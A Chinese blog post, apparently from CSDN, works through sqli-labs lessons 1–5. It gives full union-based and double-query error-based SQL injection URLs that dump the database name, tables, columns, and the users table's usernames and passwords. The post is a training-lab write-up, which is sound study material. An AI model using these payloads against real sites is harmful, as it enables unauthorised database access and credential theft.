sqli-labs练习 (1-5)以及一些容易犯的错误

首先是环境的搭建,网上的教程非常的齐全,就不多做介绍了
附上Sqli-labs项目地址—Github获取:https://github.com/Audi-1/sqli-labs

注意事项:**一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%

为了方便自己查看,可以在源码中加入一行echo语句
在这里插入图片描述

关于information_schema系统表:http://wenku.baidu.com/link?url=bIA38Slp-g2Bob4VDuTSVY8e04Beqq9Xac4I90UMC9ziQuzxiukpEh5abPK-woB9tuQ4DuY_KhKW-eTHH6ACSiMJmRhctiHvijOEFmENBbS

database() //查数据库
version() //查版本
user() //查用户

select table_name from information_schema.tables where table_schema=‘数据库名’ //查表

select column_name from information_schema.columns where table_name=‘表名’ //查字段

lesson1 (单引号注入)
首先要注意的几个问题

采用注释的方法绕过单引号 (–+ --空格 #) //某些浏览器会把+当成空格,单单的两个横杠并不能起到注释的作用

concat_ws(char(32,44,32),1,2,3) //联合查询1,2,3 concat_ws的一个参数是连接字符串的分隔符 (:的十进制ASCII是58) (,的十进制ASCII是44) concat()函数也能得到类似的结果,但是不容易查看,concat_ws()函数的第一个参数是连接字符串的分隔符

mysql_fetch_array //函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有 会导致暴不出想要的结果 解决办法,使前面的语句出错,让后面的查询结果暴出,例如将id的值改为负数(对于id变值的问题,这里解答了我最初的一个疑惑)

只要让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行。

查看数据库

http://127.0.0.1/test/Less-1/?id=-1' union select 1,2,concat_ws(char(32,44,32),database(),version(),user()) %23

在这里插入图片描述

查表

http://127.0.0.1/test/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'limit 3,1 %23

在这里插入图片描述

查列

http://127.0.0.1/test/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users'limit 0,1 %23

在这里插入图片描述

利用 limit函数来查询个个字段
limit 0,1 – id
limit 1,1 – username
limit 2,1 – password
这里基本就列出了我们需要获取的信息

查数据

http://127.0.0.1/test/Less-1/?id=-1' union select 1,2,concat_ws(char(32,44,32),id,username,password) from users %23

在这里插入图片描述

万事开头难,在做第一个练习的时候遇到了不少的小问题,但是在解决了这些问题后确实能感觉收获了不少,多看看大神的博客和文章对自己的提升又很大的帮助

lesson2 基本同上 (少了单引号的干扰,过程更加的简单)

lesson3 基本同1 (单引号改为单引号+括号包裹 利用同1的方法将id后面的补全,然后将句子末尾加上%23)

lesson4 同上 (单引号变为双引号,方法不变)

lesson5 (双注入GET单引号字符型注入)
这题难点在看不到结果
在这里插入图片描述
正常情况下只能看到"You are in…"
那么就要找方法,如何才能使自己想要的结果出现
根据题目的提示,用到双查询注入
查询网上的一些资料和大神的博客
参考资料:http://www.2cto.com/article/201303/192718.html

查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。

看一个简单的例子:

Select concat((select database())); //查询语句也要用括号包裹,本人在打代码时差了一个括号,导致练习报错浪费了半天的时间

双注入查询需要理解四个函数/语句

  1. Rand() //随机函数 函数就是返回大于0,小于1之间的数

  2. Floor() //取整函数 函数就是返回小于等于你输入的数的整数。 拓展S ELECT CONCAT((SELECT database()), FLOOR(RAND()*2));结果(databse1.databse2)

  3. Count() //汇总函数

  4. Group by clause //分组语句 count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。由于这里有随机性,所以要多刷新几遍才显示出来

双注入的查询语句 (由于count(*)函数返回存在随机性,需要多刷新即便才能显示出来)

http://127.0.0.1/test/Less-5/?id=1' union select 1,count(*),concat((select database()), char(44),floor(rand()*2)) as a from information_schema.tables group by a %23 

或者

http://127.0.0.1/test/Less-5/?id=1' union select count(*),count(*),concat((select database()), char(44),floor(rand()*2)) as a from information_schema.tables group by a %23 

(在database()处修改可以得到想要的参数)

查表

http://127.0.0.1/test/Less-5/?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),char(44),floor(rand()*2)) as a from information_schema.tables group by a %23

在这里插入图片描述
查列

http://127.0.0.1/test/Less-5/?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 2,1),char(44),floor(rand()*2)) as a from information_schema.tables group by a %23

在这里插入图片描述
查数据

http://127.0.0.1/test/Less-5/?id=1' union select 1,count(*),concat((select concat_ws(char(32,44,32),id,username,password) from users limit 0,1 ),char(44),floor(rand()*2)) as a from information_schema.tables group by a %23

在这里插入图片描述
参考地址
比较细节的部分都在里面了

https://blog.csdn.net/u012763794/article/details/51207833

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值